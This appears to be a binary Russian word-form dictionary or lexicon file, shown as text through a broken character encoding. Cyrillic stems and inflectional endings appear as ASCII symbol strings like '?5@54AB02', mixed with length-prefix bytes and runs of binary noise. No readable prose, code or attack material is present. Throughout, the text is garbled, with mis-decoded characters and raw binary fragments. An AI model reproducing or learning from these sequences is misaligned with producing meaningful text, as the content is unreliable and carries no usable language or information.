(70=8<05<AO0
*70=8<05B5AL0
(70=8<05BAO0
*70=8<05HLAO0
&70=8<09AO0
*70=8<09B5AL0
(70=8<0;0AL0
(70=8<0;8AL0
(70=8<0;>AL0
&70=8<0;AO0
(70=8<0BLAO0
&70=8<0NAL0
(70=8<0NBAO0
,70=8<0NI0OAO0
.70=8<0NI53>AO0
,70=8<0NI55AO0
,70=8<0NI59AO0
,70=8<0NI5<AO0
.70=8<0NI5<CAO0
,70=8<0NI5NAO0
,70=8<0NI85AO0
,70=8<0NI89AO0
.70=8<0NI8<8AO0
,70=8<0NI8<AO0
,70=8<0NI8EAO0
,70=8<0NICNAO0
&70=8<0OAL0
70A8<0
70B5<0
$70B5<-B>0
70B>0
70G5<0
(70G5<-;81>0
,70G5<-=81C4L0
$70G5<-B>0
72O:0
745AL0
7=020
"7=02H0O0
$7=02H53>0
"7=02H550
"7=02H590
"7=02H5<0
$7=02H5<C0
"7=02H5N0
 7=02H80
"7=02H850
"7=02H890
"7=02H8<0
$7=02H8<80
"7=02H8E0
"7=02HCN0
7=05<0
 7=05<00
"7=05<0O0
"7=05<550
 7=05<>0
$7=05<>3>0
"7=05<>50
"7=05<>90
"7=05<><0
$7=05<><C0
"7=05<>N0
"7=05<CN0
 7=05<K0
"7=05<K50
"7=05<K90
"7=05<K<0
$7=05<K<80
"7=05<KE0
7=05B0
 7=05B50
 7=05HL0
7=090
 7=09B50
7=0;0
7=0;00
7=0;80
7=0;>0
7=0<>0
7=0BL0
7=0G00
 7=0G0B0
$7=0G0I0O0
&7=0G0I53>0
$7=0G0I550
$7=0G0I590
$7=0G0I5<0
&7=0G0I5<C0
$7=0G0I5N0
$7=0G0I850
$7=0G0I890
$7=0G0I8<0
&7=0G0I8<80
$7=0G0I8E0
$7=0G0ICN0
 7=0G820
&7=0G82H0O0
(7=0G82H53>0
&7=0G82H550
&7=0G82H590
&7=0G82H5<0
(7=0G82H5<C0
&7=0G82H5N0
$7=0G82H80
&7=0G82H850
&7=0G82H890
&7=0G82H8<0
(7=0G82H8<80
&7=0G82H8E0
&7=0G82HCN0
 7=0G8;0
"7=0G8;00
"7=0G8;80
"7=0G8;>0
 7=0G8<0
 7=0G8B0
"7=0G8B50
"7=0G8BL0
"7=0G8HL0
7=0GC0
7=0GL0
"7=0GLB50
7=0N0
7=0NB0
"7=0NI0O0
$7=0NI53>0
"7=0NI550
"7=0NI590
"7=0NI5<0
$7=0NI5<C0
"7=0NI5N0
"7=0NI850
"7=0NI890
"7=0NI8<0
$7=0NI8<80
"7=0NI8E0
"7=0NICN0
7=0O0
80
81>0
845<0
845B0
845B50
845HL0
8480
848B50
84B80
84C0
84CB0
84CG80
 84CI0O0
"84CI53>0
 84CI550
 84CI590
 84CI5<0
"84CI5<C0
 84CI5N0
 84CI850
 84CI890
 84CI8<0
"84CI8<80
 84CI8E0
 84CICN0
84O0
870
87-700
 87-?>40
"87-?>4>0
87>0
8;80
"8;8-8;80
8;L0
8<0
8<520
"8<52H0O0
$8<52H53>0
"8<52H550
"8<52H590
"8<52H5<0
$8<52H5<C0
"8<52H5N0
700
"7<xZ>$x\B,dB rP2tR2f@\4tT0zV0zZ<jN.D$xV2



n
L
(

\:vZ6




f
H
"
			p	D		f:jD|R*V*xJlP0F^xZ:"`@|`
UVIPTV0
 8<52H80
"8<52H850
"8<52H890
"8<52H8<0
$8<52H8<80
"8<52H8E0
"8<52HCN0
8<55<0
 8<55<00
"8<55<0O0
"8<55<550
 8<55<>0
$8<55<>3>0
"8<55<>50
"8<55<>90
"8<55<><0
$8<55<><C0
"8<55<>N0
"8<55<CN0
 8<55<K0
"8<55<K50
"8<55<K90
"8<55<K<0
$8<55<K<80
"8<55<KE0
8<55B0
 8<55B50
 8<55HL0
8<590
 8<59B50
8<5;0
8<5;00
8<5;80
8<5;>0
 8<5==>0
8<5BL0
8<5N0
8<5NB0
"8<5NI0O0
$8<5NI53>0
"8<5NI550
"8<5NI590
"8<5NI5<0
$8<5NI5<C0
"8<5NI5N0
"8<5NI850
"8<5NI890
"8<5NI8<0
$8<5NI8<80
"8<5NI8E0
"8<5NICN0
8<5O0
8<80
8=0
8=0G50
8=0O0
8=400
 8=>3400
8=>3>0
8=>50
8=>90
8=><0
8=><C0
8=>N0
8=CN0
8=K50
8=K<0
8=K<80
8=KE0
8A:020
$8A:02H0O0
&8A:02H53>0
$8A:02H550
$8A:02H590
$8A:02H5<0
&8A:02H5<C0
$8A:02H5N0
"8A:02H80
$8A:02H850
$8A:02H890
$8A:02H8<0
&8A:02H8<80
$8A:02H8E0
$8A:02HCN0
8A:0;0
 8A:0;00
 8A:0;80
 8A:0;>0
8A:0=0
 8A:0=00
$8A:0==0O0
&8A:0==>3>0
$8A:0==>50
$8A:0==>90
$8A:0==><0
&8A:0==><C0
$8A:0==>N0
$8A:0==CN0
$8A:0==K50
$8A:0==K90
$8A:0==K<0
&8A:0==K<80
$8A:0==KE0
 8A:0=>0
 8A:0=K0
 8A:0BL0
$8A:;NG0O0
 8A:>=80
*8A?>;L7>2020
08A?>;L7>202H0O0
28A?>;L7>202H53>0
08A?>;L7>202H550
08A?>;L7>202H590
08A?>;L7>202H5<0
28A?>;L7>202H5<C0
08A?>;L7>202H5N0
.8A?>;L7>202H80
08A?>;L7>202H850
08A?>;L7>202H890
08A?>;L7>202H8<0
28A?>;L7>202H8<80
08A?>;L7>202H8E0
08A?>;L7>202HCN0
*8A?>;L7>20;0
,8A?>;L7>20;00
,8A?>;L7>20;80
,8A?>;L7>20;>0
*8A?>;L7>20=0
,8A?>;L7>20=00
08A?>;L7>20==0O0
28A?>;L7>20==>3>0
08A?>;L7>20==>50
08A?>;L7>20==>90
08A?>;L7>20==><0
28A?>;L7>20==><C0
08A?>;L7>20==>N0
08A?>;L7>20==CN0
08A?>;L7>20==K50
08A?>;L7>20==K90
08A?>;L7>20==K<0
28A?>;L7>20==K<80
08A?>;L7>20==KE0
,8A?>;L7>20=>0
,8A?>;L7>20=K0
,8A?>;L7>20BL0
(8A?>;L7C5<0
*8A?>;L7C5<00
,8A?>;L7C5<0O0
,8A?>;L7C5<550
*8A?>;L7C5<>0
.8A?>;L7C5<>3>0
,8A?>;L7C5<>50
,8A?>;L7C5<>90
,8A?>;L7C5<><0
.8A?>;L7C5<><C0
,8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:>2A:>3>0
&:0:>2A:>50
&:0:>2A:>90
&:0:>2A:><0
(:0:>2A:><C0
&:0:>2A:>N0
&:0:>2A:CN0
":0:>2CN0
 :0:>2K0
":0:>2K50
":0:>2K<0
$:0:>2K<80
":0:>2KE0
 :0:>3>0
:0:>50
:0:>90
:0:><0
 :0:><C0
:0:>N0
:0:CN0
":0A05<>0
(:0A0B5;L=>0
:5<0
":8A-:8A0
:>0
:>3400
(:>340-;81>0
,:>340-=81C4L0
$:>340-B>0
:>3>0
:>50
":>5-3450
&:>5-70G5<0
":>5-:0:0
&:>5-:0:0O0
&:>5-:0:850
&:>5-:0:8<0
(:>5-:0:8<80
&:>5-:0:8E0
(:>5-:0:>3>0
&:>5-:0:>50
&:>5-:0:>90
&:>5-:0:><0
(:>5-:0:><C0
&:>5-:0:>N0
&:>5-:0:CN0
":>5-:5<0
&:>5-:>3400
$:>5-:>3>0
":>5-:><0
$:>5-:><C0
":>5-:B>0
$:>5-:C400
(:>5->B:C400
(:>5->BG53>0
$:>5-G53>0
":>5-G5<0
$:>5-G5<C0
":>5-GB>0
:>53>0
:>590
:>5<0
:>5<C0
:>5N0
:>80
:>8<0
:>8<80
:>8E0
:>90
":>9-3450
&:>9-70G5<0
":>9-:0:0
&:>9-:0:0O0
&:>9-:0:850
&:>9-:0:8<0
(:>9-:0:8<80
&:>9-:0:8E0
(:>9-:0:>3>0
&:>9-:0:>50
&:>9-:0:>90
&:>9-:0:><0
(:>9-:0:><C0
&:>9-:0:>N0
&:>9-:0:CN0
&:>9-:>3400
$:>9-:C400
(:>9->B:C400
(:>9->BG53>0
:>;80
:>;L0
:><0
:><00
:><50
:><><0
:><C0
 :><L520
:><LO0
 :><LO<0
":><LO<80
 :><LOE0
:>=5F0
":>=5G5=0
":>=5G=00
$:>=5G=0O0
":>=5G=>0
&:>=5G=>3>0
$:>=5G=>50
$:>=5G=>90
$:>=5G=><0
&:>=5G=><C0
$:>=5G=>N0
$:>=5G=CN0
":>=5G=K0
$:>=5G=K50
$:>=5G=K90
$:>=5G=K<0
&:>=5G=K<80
$:>=5G=KE0
:>=F00
 :>=F0<0
":>=F0<80
 :>=F0E0
:>=F50
 :>=F>20
 :>=F><0
:>=FC0
:>=FK0
":>B>@0O0
$:>B>@>3>0
":>B>@>50
":>B>@>90
":>B>@><0
$:>B>@><C0
":>B>@>N0
":>B>@CN0
":>B>@K50
":>B>@K90
":>B>@K<0
$:>B>@K<80
":>B>@KE0
:>N0
:>O0
:@0H50
:@><50
:@O4C0
:@O:0
 :AB0B80
:B>0
:C-:C0
:C400
&:C40-;81>0
*:C40-=81C4L0
":C40-B>0
$:C:0@5:C0
:C:C0
":E5-:E50
:H0
;045=0
 ;04:><0
;04=00
 ;04=0O0
 ;04=550
;04=>0
*;04=>-;04=>0
";04=>3>0
 ;04=>50
 ;04=>90
 ;04=><0
";04=><C0
 ;04=>N0
 ;04=CN0
;04=K0
 ;04=K50
 ;04=K90
 ;04=K<0
";04=K<80
 ;04=KE0
;53:00
 ;53:0O0
;53:80
 ;53:850
 ;53:890
 ;53:8<0
"9vT4jJ,tR(rT6|Z8jF$jH(
xT2|X2jH(
x^B&f@~X0
vTtX:



^
:

f@X2



v
P
.

				b	J	(		hJ,dD"b<zT.^>dF&zX8vV62`!
yU0cK(R0
";53:8<80
 ;53:8E0
;53:>0
";53:>3>0
 ;53:>50
 ;53:>90
 ;53:><0
";53:><C0
 ;53:>N0
 ;53:CN0
;53>:0
&;53>=5G:>0
$;53>=L:>0
;53G50
;80
;81>0
;8HL0
;CGH50
;L0
;N10O0
 ;N1>3>0
;N1>50
;N1>90
;N1><0
 ;N1><C0
;N1>N0
;N1CN0
;N1K50
;N1K<0
 ;N1K<80
;N1KE0
<0;0
<0;00
<0;0O0
&<0;5=5G:>0
$<0;5=L:>0
<0;>0
,<0;>-<0;LA:80
*<0;>-?><0;C0
$<0;>20B>0
 <0;>3>0
<0;>50
<0;>90
<0;><0
 <0;><C0
<0;>N0
<0;CN0
<0;K0
<0;K50
<0;K90
<0;K<0
(<0;K<-<0;>0
 <0;K<80
<0;KE0
<560
<564C0
<5=550
 <5=LH50
<5=O0
<5@A80
<8<>0
<=50
 <=>30O0
 <=>3850
 <=>3890
 <=>38<0
"<=>38<80
 <=>38E0
<=>3>0
"<=>3>3>0
 <=>3>50
 <=>3>90
 <=>3><0
"<=>3><C0
 <=>3>N0
 <=>3CN0
<=>90
<=>N0
<>30
<>380
 <>38B50
<>3;00
<>3;80
<>3;>0
<>3C0
<>3CB0
"<>3CI0O0
$<>3CI53>0
"<>3CI550
"<>3CI590
"<>3CI5<0
$<>3CI5<C0
"<>3CI5N0
"<>3CI850
"<>3CI890
"<>3CI8<0
$<>3CI8<80
"<>3CI8E0
"<>3CICN0
 <>3H0O0
"<>3H53>0
 <>3H550
 <>3H590
 <>3H5<0
"<>3H5<C0
 <>3H5N0
<>3H80
 <>3H850
 <>3H890
 <>3H8<0
"<>3H8<80
 <>3H8E0
 <>3HCN0
<>50
<>53>0
<>590
<>5<0
<>5<C0
<>5N0
<>65<0
<>65B0
 <>65B50
 <>65HL0
<>6=>0
<>80
<>8<0
<>8<80
<>8E0
<>90
<>;0
<>GL0
<>N0
<>O0
<K0
<OC0
"<OC-<OC0
=00
=0-:00
=0-=00
$=025@=>50
$=025A5;50
=040
=04>0
"=04>;3>0
=07040
$=081>;550
"=0:>=5F0
 =0:>AL0
=0<0
"=0<5AB>0
=0<80
"=0<=>3>0
$=0>1>@>B0
&=0?>4>1850
$=0?@8<5@0
$=0?@>B820
"=0?@>GL0
=0A0
 =0AG5B0
=0B50
"=0B5-:00
&=0B5-=0B50
=0G020
$=0G02H0O0
&=0G02H53>0
$=0G02H550
$=0G02H590
$=0G02H5<0
&=0G02H5<C0
$=0G02H5N0
"=0G02H80
$=0G02H850
$=0G02H890
$=0G02H8<0
&=0G02H8<80
$=0G02H8E0
$=0G02HCN0
=0G0;0
 =0G0;00
"=0G0;0<0
$=0G0;0<80
"=0G0;0E0
 =0G0;50
 =0G0;80
 =0G0;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>;LH0O0
&=51>;LH850
&=51>;LH8<0
(=51>;LH8<80
&=51>;LH8E0
(=51>;LH>3>0
&=51>;LH>50
&=51>;LH>90
&=51>;LH><0
(=51>;LH><C0
&=51>;LH>N0
&=51>;LHCN0
 =51>AL0
"=525;8:0
$=525;8:00
$=525;8:80
$=525;8:>0
$=5278@0O0
=53450
=53>0
"=5402=>0
=550
 =565;80
(=58725AB=>0
=590
=5:0O0
=5:5<0
=5:850
=5:890
=5:8<0
 =5:8<80
=5:8E0
 =5:>3>0
=5:>50
"=5:>53>0
 =5:>590
 =5:>5<0
"=5:>5<C0
 =5:>8<0
=5:>90
=5:><0
 =5:><C0
&=5:>B>@0O0
(=5:>B>@>3>0
&=5:>B>@>50
&=5:>B>@>90
&=5:>B>@><0
(=5:>B>@><C0
&=5:>B>@>N0
&=5:>B>@CN0
&=5:>B>@K50
&=5:>B>@K90
&=5:>B>@K<0
(=5:>B>@K<80
&=5:>B>@KE0
=5:>N0
=5:B>0
 =5:C400
=5:CN0
 =5;L7O0
=5<0
"=5<0;8<0
$=5<0;8<80
"=5<0;8E0
 =5<0;>0
$=5<=>30O0
$=5<=>3850
$=5<=>3890
$=5<=>38<0
&=5<=>38<80
$=5<=>38E0
"=5<=>3>0
&=5<=>3>3>0
$=5<=>3>50
$=5<=>3>90
$=5<=>3><0
&=5<=>3><C0
$=5<=>3>N0
$=5<=>3CN0
=5<C0
&=5>1E>48<0
(=5>1E>48<00
*=5>1E>48<0O0
*=5>1E>48<550
(=5>1E>48<>0
,=5>1E>48<>3>0
*=5>1E>48<>50
*=5>1E>48<>90
*=5>1E>48<><0
,=5>1E>48<><C0
*=5>1E>48<>N0
*=5>1E>48<CN0
(=5>1E>48<K0
*=5>1E>48<K50
*=5>1E>48<K90
*=5>1E>48<K<0
,=5>1E>48<K<80
*=5>1E>48<KE0
&=5?>=OB=>0
(=5A:>;L:850
(=5A:>;L:8<0
*=5A:>;L:8<80
(=5A:>;L:8E0
&=5A:>;L:>0
$=5A<>B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
=C6=00
 =C6=0O0
 =C6=550
=C6=>0
"=C6=>3>0
 =C6=>50
 =C6=>90
 =C6=><0
"=C6=><C0
 =C6=>N0
 =C6=CN0
=C6=K0
 =C6=K50
 =C6=K90
 =C6=K<0
"=C6=K<80
 =C6=KE0
=K=50
=K=G50
>0
">-3>-3>0
>10
>100
>1>0
 >1>53>0
>1>8<0
 >1>8<80
>1>8E0
>20<>0
>3>0
>48=0
>4=00
 >4=0:>0
>4=80
>4=8<0
 >4=8<80
>4=8E0
>4=>0
 >4=>3>0
>4=>90
>4=><0
 >4=><C0
>4=C0
>90
$>9->9->90
>:>;>0
>=0
>=00
>=0O0
>=80
>=>0
>=>3>0
>=>50
>=>90
>=><0
>=><C0
>=>N0
>=CN0
>=K50
>=K90
>=K<0
>=K<80
>=KE0
>?0
>?;O0
 >?@8GL0
>?OBL0
(>?OBL-B0:80
$>A=>2=0O0
&>A=>2=>3>0
$>A=>2=>50
$>A=>2=>90
$>A=>2=><0
&>A=>2=><C0
$>A=>2=>N0
$>A=>2=CN0
$>A=>2=K50
$>A=>2=K<0
&>A=>2=K<80
$>A=>2=KE0
 >A>10O0
$>A>15=5=0
$>A>15==00
&>A>15==0O0
$>A>15==>0
(>A>15==>3>0
&>A>15==>50
&>A>15==>90
&>A>15==><0
(>A>15==><C0
&>A>15==>N0
&>A>15==CN0
$>A>15==K0
&>A>15==K50
&>A>15==K90
&>A>15==K<0
(>A>15==K<80
&>A>15==KE0
>A>1>0
">A>1>3>0
 >A>1>50
 >A>1>90
 >A>1><0
">A>1><C0
 >A>1>N0
 >A>1CN0
 >A>1K50
 >A>1K90
 >A>1K<0
">A>1K<80
 >A>1KE0
&>AB0;L=0O0
(>AB0;L=>3>0
&>AB0;L=>50
&>AB0;L=>90
&>AB0;L=><0
(>AB0;L=><C0
&>AB0;L=>N0
&>AB0;L=CN0
&>AB0;L=K50
&>AB0;L=K<0
(>AB0;L=K<80
&>AB0;L=KE0
>B0
>B4020
$>B402H0O0
&>B402H53>0
$>B402H550
$>B402H590
$>B402H5<0
&>B402H5<C0
$>B402H5N0
">B402H80
$>B402H850
$>B402H890
$>B402H8<0
&>B402H8<80
$>B402H8E0
$>B402HCN0
">B4048<0
$>B4048B50
">B404CB0
>B4090
">B409B50
>B40;0
 >B40;00
 >B40;80
 >B40;>0
>B40<0
>B40=0
 >B40=00
$>B40==0O0
&>B40==>3>0
$>B40==>50
$>B40==>90
$>B40==><0
&>B40==><C0
$>B40==>N0
$>B40==CN0
$>B40==K50
$>B40==K90
$>B40==K<0
&>B40==K<80
$>B40==KE0
 >B40=>0
 >B40=K0
 >B40AB0
 >B40BL0
 >B40HL0
$>B45;L=00
&>B45;L=0O0
$>B45;L=>0
(>B45;L=>3>0
&>B45;L=>50
&>B45;L=>90
&>B45;L=><0
(>B45;L=><C0
&>B45;L=>N0
&>B45;L=CN0
$>B45;L=K0
&>B45;L=K50
&>B45;L=K90
&>B45;L=K<0
(>B45;L=K<80
&>B45;L=KE0
 >B:>;50
 >B:>;L0
 >B:C400
*>B:C40-;81>0
.>B:C40-=81C4L0
&>B:C40-B>0
(>B;8G=59H50
,>B=>A8B5;L=>0
>40
>zZ:hD jD dF$zV0~X4lF^8~\<zZ:`:|vV2


|
V
2

xZ:x\@"



|
`
F
.

				z	\	<	 		lP,6hP.D|\<|\:dL.z\<jN4~`@~`
U>Iu0<0
 >B=K=50
 >B=N4L0
>B>0
$>B>2AN4C0
 >BA5;50
 >BA5;L0
 >BAN400
 >BB>3>0
&>BB>3>-B>0
 >BB>;50
 >BB>;L0
 >BBC400
&>BBC40-B>0
">BG0AB80
 >BG53>0
*>BG53>-;81>0
.>BG53>-=81C4L0
&>BG53>-B>0
>E0
$>E->E->E0
>G5=L0
?.0
 ?0@4>=0
?0D0
?0G50
 ?5@20O0
"?5@2>3>0
 ?5@2>50
 ?5@2>90
 ?5@2><0
"?5@2><C0
 ?5@2>N0
 ?5@2CN0
 ?5@2K50
 ?5@2K90
 ?5@2K<0
"?5@2K<80
 ?5@2KE0
?5@540
"?5@54020
(?5@5402H0O0
*?5@5402H53>0
(?5@5402H550
(?5@5402H590
(?5@5402H5<0
*?5@5402H5<C0
(?5@5402H5N0
&?5@5402H80
(?5@5402H850
(?5@5402H890
(?5@5402H8<0
*?5@5402H8<80
(?5@5402H8E0
(?5@5402HCN0
&?5@54048<0
(?5@54048B50
&?5@5404CB0
"?5@54090
&?5@5409B50
"?5@540;0
$?5@540;00
$?5@540;80
$?5@540;>0
"?5@540<0
"?5@540=0
$?5@540=00
(?5@540==0O0
*?5@540==>3>0
(?5@540==>50
(?5@540==>90
(?5@540==><0
*?5@540==><C0
(?5@540==>N0
(?5@540==CN0
(?5@540==K50
(?5@540==K90
(?5@540==K<0
*?5@540==K<80
(?5@540==KE0
$?5@540=>0
$?5@540=K0
$?5@540AB0
$?5@540BL0
$?5@540HL0
 ?5@54>0
?8;L0
"?8D-?0D0
?;80
?;>E0
?;>E00
 ?;>E0O0
?;>E80
 ?;>E850
 ?;>E8<0
"?;>E8<80
 ?;>E8E0
?;>E>0
"?;>E>3>0
 ?;>E>50
 ?;>E>90
 ?;>E><0
"?;>E><C0
 ?;>E>N0
 ?;>ECN0
?;NE0
?>0
&?>-20H5<C0
*?>-2848<><C0
(?>-2AO:><C0
?>-700
&?>-8E=5<C0
&?>-;N4A:80
$?>-<>5<C0
 ?>-=040
&?>-=0H5<C0
*?>->1KG=><C0
(?>->A>1><C0
(?>-?;>E><C0
,?>-?@>AB5F:80
.?>-?@>AB5FA:80
*?>-?@>AB><C0
8?>-?@>AB>=0@>4=><C0
(?>-@07=><C0
&?>-A2>5<C0
(?>-A2>9A:80
&?>-B2>5<C0
"?>1;8650
?>40
?>480
"?>48-:00
&?>48B5-:00
?>4;50
?>4>0
&?>4>10NI50
"?>4>15=0
"?>4>1=00
$?>4>1=0O0
$?>4>1=550
"?>4>1=>0
&?>4>1=>3>0
$?>4>1=>50
$?>4>1=>90
$?>4>1=><0
&?>4>1=><C0
$?>4>1=>N0
$?>4>1=CN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H53>0
(?>;CG82H550
(?>;CG82H590
(?>;CG82H5<0
*?>;CG82H5<C0
(?>;CG82H5N0
&?>;CG82H80
(?>;CG82H850
(?>;CG82H890
(?>;CG82H8<0
*?>;CG82H8<80
(?>;CG82H8E0
(?>;CG82HCN0
"?>;CG8;0
$?>;CG8;00
$?>;CG8;80
$?>;CG8;>0
"?>;CG8<0
"?>;CG8B0
$?>;CG8B50
$?>;CG8BL0
$?>;CG8HL0
 ?>;CGC0
"?>;CGH50
0?>;L7>202H0OAO0
2?>;L7>202H53>AO0
0?>;L7>202H55AO0
0?>;L7>202H59AO0
0?>;L7>202H5<AO0
2?>;L7>202H5<CAO0
0?>;L7>202H5NAO0
0?>;L7>202H85AO0
0?>;L7>202H89AO0
2?>;L7>202H8<8AO0
0?>;L7>202H8<AO0
.?>;L7>202H8AL0
0?>;L7>202H8EAO0
0?>;L7>202HCNAO0
,?>;L7>20;0AL0
,?>;L7>20;8AL0
,?>;L7>20;>AL0
*?>;L7>20;AO0
,?>;L7>20BLAO0
(?>;L7C5<AO0
*?>;L7C5B5AL0
(?>;L7C5BAO0
*?>;L7C5HLAO0
&?>;L7C9AO0
*?>;L7C9B5AL0
&?>;L7CNAL0
(?>;L7CNBAO0
,?>;L7CNI0OAO0
.?>;L7CNI53>AO0
,?>;L7CNI55AO0
,?>;L7CNI59AO0
,?>;L7CNI5<AO0
.?>;L7CNI5<CAO0
,?>;L7CNI5NAO0
,?>;L7CNI85AO0
,?>;L7CNI89AO0
.?>;L7CNI8<8AO0
,?>;L7CNI8<AO0
,?>;L7CNI8EAO0
,?>;L7CNICNAO0
&?>;L7COAL0
 ?><0;C0
 ?><8<>0
"?><=>3C0
?><>30
 ?><>380
$?><>38B50
"?><>3;00
"?><>3;80
"?><>3;>0
 ?><>3C0
"?><>3CB0
$?><>3H0O0
&?><>3H53>0
$?><>3H550
$?><>3H590
$?><>3H5<0
&?><>3H5<C0
$?><>3H5N0
"?><>3H80
$?><>3H850
$?><>3H890
$?><>3H8<0
&?><>3H8<80
$?><>3H8E0
$?><>3HCN!!!!!!!!!!!!!!!!!!!!F"nJ$nL,
dB"X*xL rL"X,~N^.l<
tP,
|Z2
hBxN&tJ"X0


j
H
"

X,X,


X
,

			\	.		d>`<X2rH"\4lD|T.
b8`
U"50
"?><>65<0
"?><>65B0
$?><>65B50
$?><>65HL0
 ?><>GL0
(?>=0?@0A=C0
$?>=0G0;C0
$?>=52>;50
 ?>=5650
&?>=5<=>3C0
,?>=5<=>65G:C0
(?>=5<=>6:C0
 ?>=K=50
"?>=OB=>0
"?>>40;L0
"?>?;>H50
&?>?>74=550
"?>?>7650
"?>?>;0<0
$?>?@>ABC0
"?>?CABC0
$?>@0=LH50
$?>A5@54L0
&?>A:>;L:C0
$?>A:>@550
$?>A:>@590
?>A;50
"?>A@5480
*?>A@54AB2><0
&?>AB>;L:C0
?>B><0
 ?>B><C0
&?>B><C-B>0
?>E>60
 ?>E>600
"?>E>60O0
 ?>E>650
$?>E>653>0
"?>E>6550
"?>E>6590
"?>E>65<0
$?>E>65<C0
"?>E>65N0
 ?>E>680
"?>E>6850
"?>E>6890
"?>E>68<0
$?>E>68<80
"?>E>68E0
"?>E>6CN0
?>G5<0
 ?>G5<C0
*?>G5<C-;81>0
.?>G5<C-=81C4L0
&?>G5<C-B>0
?>GB80
?>GB>0
"?>MB><C0
(?>MB><C-B>0
,?>OA=8B5;L=>0
$?@028;5=0
&?@028;L=00
(?@028;L=0O0
(?@028;L=550
&?@028;L=>0
*?@028;L=>3>0
(?@028;L=>50
(?@028;L=>90
(?@028;L=><0
*?@028;L=><C0
(?@028;L=>N0
(?@028;L=CN0
&?@028;L=K0
(?@028;L=K50
(?@028;L=K90
(?@028;L=K<0
*?@028;L=K<80
(?@028;L=KE0
"?@52KH50
?@540
?@54>0
(?@54AB02820
.?@54AB0282H0O0
0?@54AB0282H53>0
.?@54AB0282H550
.?@54AB0282H590
.?@54AB0282H5<0
0?@54AB0282H5<C0
.?@54AB0282H5N0
,?@54AB0282H80
.?@54AB0282H850
.?@54AB0282H890
.?@54AB0282H8<0
0?@54AB0282H8<80
.?@54AB0282H8E0
.?@54AB0282HCN0
(?@54AB028;0
*?@54AB028;00
*?@54AB028;80
*?@54AB028;>0
(?@54AB028<0
(?@54AB028B0
*?@54AB028B50
*?@54AB028BL0
*?@54AB028HL0
*?@54AB02;5=0
,?@54AB02;5=00
0?@54AB02;5==0O0
2?@54AB02;5==>3>0
0?@54AB02;5==>50
0?@54AB02;5==>90
0?@54AB02;5==><0
2?@54AB02;5==><C0
0?@54AB02;5==>N0
0?@54AB02;5==CN0
0?@54AB02;5==K50
0?@54AB02;5==K90
0?@54AB02;5==K<0
2?@54AB02;5==K<80
0?@54AB02;5==KE0
,?@54AB02;5=>0
,?@54AB02;5=K0
(?@54AB02;N0
*?@54AB02;O20
0?@54AB02;O2H0O0
2?@54AB02;O2H53>0
0?@54AB02;O2H550
0?@54AB02;O2H590
0?@54AB02;O2H5<0
2?@54AB02;O2H5<C0
0?@54AB02;O2H5N0
.?@54AB02;O2H80
0?@54AB02;O2H850
0?@54AB02;O2H890
0?@54AB02;O2H8<0
2?@54AB02;O2H8<80
0?@54AB02;O2H8E0
0?@54AB02;O2HCN0
,?@54AB02;O5<0
.?@54AB02;O5<00
0?@54AB02;O5<0O0
0?@54AB02;O5<550
.?@54AB02;O5<>0
2?@54AB02;O5<>3>0
0?@54AB02;O5<>50
0?@54AB02;O5<>90
0?@54AB02;O5<><0
2?@54AB02;O5<><C0
0?@54AB02;O5<>N0
0?@54AB02;O5<CN0
.?@54AB02;O5<K0
0?@54AB02;O5<K50
0?@54AB02;O5<K90
0?@54AB02;O5<K<0
2?@54AB02;O5<K<80
0?@54AB02;O5<KE0
,?@54AB02;O5B0
.?@54AB02;O5B50
.?@54AB02;O5HL0
*?@54AB02;O90
.?@54AB02;O9B50
*?@54AB02;O;0
,?@54AB02;O;00
,?@54AB02;O;80
,?@54AB02;O;>0
,?@54AB02;OBL0
*?@54AB02;ON0
,?@54AB02;ONB0
0?@54AB02;ONI0O0
2?@54AB02;ONI53>0
0?@54AB02;ONI550
0?@54AB02;ONI590
0?@54AB02;ONI5<0
2?@54AB02;ONI5<C0
0?@54AB02;ONI5N0
0?@54AB02;ONI850
0?@54AB02;ONI890
0?@54AB02;ONI8<0
2?@54AB02;ONI8<80
0?@54AB02;ONI8E0
0?@54AB02;ONICN0
*?@54AB02;OO0
&?@54AB02L0
*?@54AB02LB50
(?@54AB02OBd:X(f6tHnDd4rDR"b4vFV&d:X(h6tDpH zL


d
8

~P nF


~
V
.

			b	<		vN,rR4fF$vV4lB pL*zX6|X4`
U6650
 ?@56450
$?@5<=>3>0
?@80
 ?@8B><0
 ?@8G5<0
?@>0
&?@>4>;6020
,?@>4>;602H0O0
.?@>4>;602H53>0
,?@>4>;602H550
,?@>4>;602H590
,?@>4>;602H5<0
.?@>4>;602H5<C0
,?@>4>;602H5N0
*?@>4>;602H80
,?@>4>;602H850
,?@>4>;602H890
,?@>4>;602H8<0
.?@>4>;602H8<80
,?@>4>;602H8E0
,?@>4>;602HCN0
(?@>4>;605<0
*?@>4>;605<00
,?@>4>;605<0O0
,?@>4>;605<550
*?@>4>;605<>0
.?@>4>;605<>3>0
,?@>4>;605<>50
,?@>4>;605<>90
,?@>4>;605<><0
.?@>4>;605<><C0
,?@>4>;605<>N0
,?@>4>;605<CN0
*?@>4>;605<K0
,?@>4>;605<K50
,?@>4>;605<K90
,?@>4>;605<K<0
.?@>4>;605<K<80
,?@>4>;605<KE0
(?@>4>;605B0
*?@>4>;605B50
*?@>4>;605HL0
&?@>4>;6090
*?@>4>;609B50
&?@>4>;60;0
(?@>4>;60;00
(?@>4>;60;80
(?@>4>;60;>0
(?@>4>;60BL0
&?@>4>;60N0
(?@>4>;60NB0
,?@>4>;60NI0O0
.?@>4>;60NI53>0
,?@>4>;60NI550
,?@>4>;60NI590
,?@>4>;60NI5<0
.?@>4>;60NI5<C0
,?@>4>;60NI5N0
,?@>4>;60NI850
,?@>4>;60NI890
,?@>4>;60NI8<0
.?@>4>;60NI8<80
,?@>4>;60NI8E0
,?@>4>;60NICN0
&?@>4>;60O0
 ?@><560
$?@><564C0
 ?@>AB>0
2?@>AB>-=0?@>AB>0
 ?@>B820
 ?@>G0O0
"?@>G53>0
 ?@>G550
 ?@>G590
 ?@>G5<0
"?@>G5<C0
 ?@>G5N0
 ?@>G850
 ?@>G890
 ?@>G8<0
"?@>G8<80
 ?@>G8E0
 ?@>GCN0
?@>GL0
?@K30
&?@K3-A:>:0
?@O<0
?@O<00
 ?@O<0O0
 ?@O<550
$?@O<8:><0
?@O<>0
(?@O<>-B0:80
"?@O<>3>0
 ?@O<>50
 ?@O<>90
 ?@O<><0
"?@O<><C0
 ?@O<>N0
 ?@O<CN0
?@O<K0
 ?@O<K50
 ?@O<K<0
"?@O<K<80
 ?@O<KE0
 ?CA:090
.?CA:09-?CA:090
$?CAB59H50
?CABL0
*?CABL-?CABL0
?CB5<0
?CB=>0
?KE0
?OB0O0
 ?OB>3>0
?OB>50
?OB>90
?OB><0
 ?OB><C0
